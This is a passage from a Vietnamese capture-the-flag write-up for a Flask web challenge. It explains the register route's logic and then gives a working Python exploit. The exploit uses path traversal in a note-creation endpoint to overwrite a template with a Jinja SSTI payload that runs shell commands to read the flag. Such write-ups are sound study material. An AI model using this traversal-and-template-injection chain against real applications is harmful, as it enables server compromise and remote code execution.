ký (/) thông qua method GET, chúng ta hiển thị trang đăng ký mặc định. Khi người dùng gửi form với method POST, chúng ta kiểm tra xem tên người dùng đã tồn tại trong registered_users hay không. Nếu tồn tại, chúng ta chuyển hướng đến trang đăng nhập (/login). Ngược lại, chúng ta ghi đè lên register.html với thông báo lỗi và kích hoạt render_template để hiển thị lại trang đăng ký với thông báo lỗi mới. Quay trở lại với challenge: Có thể thấy rằng render_template sẽ được thực thi trong một số điều kiện nhất định: - Nếu `rows` tồn tại (nếu `username` tồn tại). - Nếu `request.method` không phải là `POST`. Nhưng nếu `request.method` là `POST` và `username` không tồn tại, máy chủ sẽ trực tiếp chuyển hướng đến `/login`, sau đó `render_template` của register.html sẽ không được thực thi. Do đó, chúng ta có thể ghi đè lên `register.html`, sau đó kích hoạt `render_template('register.html')` sau khi ghi đè lên tệp đó. ``` @app.route('/register',methods=["GET","POST"]) def register(): try: if(request.method == "POST"): user = request.form.get("username").strip() passw = request.form.get("password").strip() cursor,conn = getDB() rows = cursor.execute("SELECT username FROM accounts WHERE username = ?",(user,)).fetchall() if rows: return render_template('register.html',message="user already exists") direc_id = str(uuid.uuid4()) query = "INSERT INTO accounts VALUES(?,?,?)" res = cursor.execute(query,(user,passw,direc_id)) conn.commit() if(res): os.mkdir(os.path.join(UPLOAD_FOLDER,direc_id)) return redirect('/login') return render_template('register.html') except Exception as e: print(f"ERROR: {e}",flush=True) return "You broke the server :(",400 ``` #### Exploit Từ việc phân tích kể trên, ta có thể tận dụng việc đoạn code xử lý `/makenote` ta có thể inject vào template `register.html` thông qua việc truyền `../../templates/register.html` qua đó ta có thể ghi đè payload SSTI trigger được RCE và get flag Code Exploit: ``` import requests import base64 payload = base64.b64encode("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('sudo cat /flag').read() }}".encode()) req = requests.Session() url = "https://ch2178143423.ch.eng.run" headers = { "Content-type":"application/x-www-form-urlencoded" } data = { "username":"l1nx1n", "password":"11nx1n" } print(req.post(url+"/register", data=data, allow_redirects=False).text) print(req.post(url+"/login", data=data, allow_redirects=False).text) data = { "title":"../../templates/register.html", "content":payload } print(req.post(url+"/makenote", data=data, allow_redirects=False).text) print(requests.get(url+"/register").text) ``` ![image](https://hackmd.io/_uploads/H1lXa693T.png) ```Flag: bi0sctf{b3_c4r3ful_w1th_p1ckl3ss}```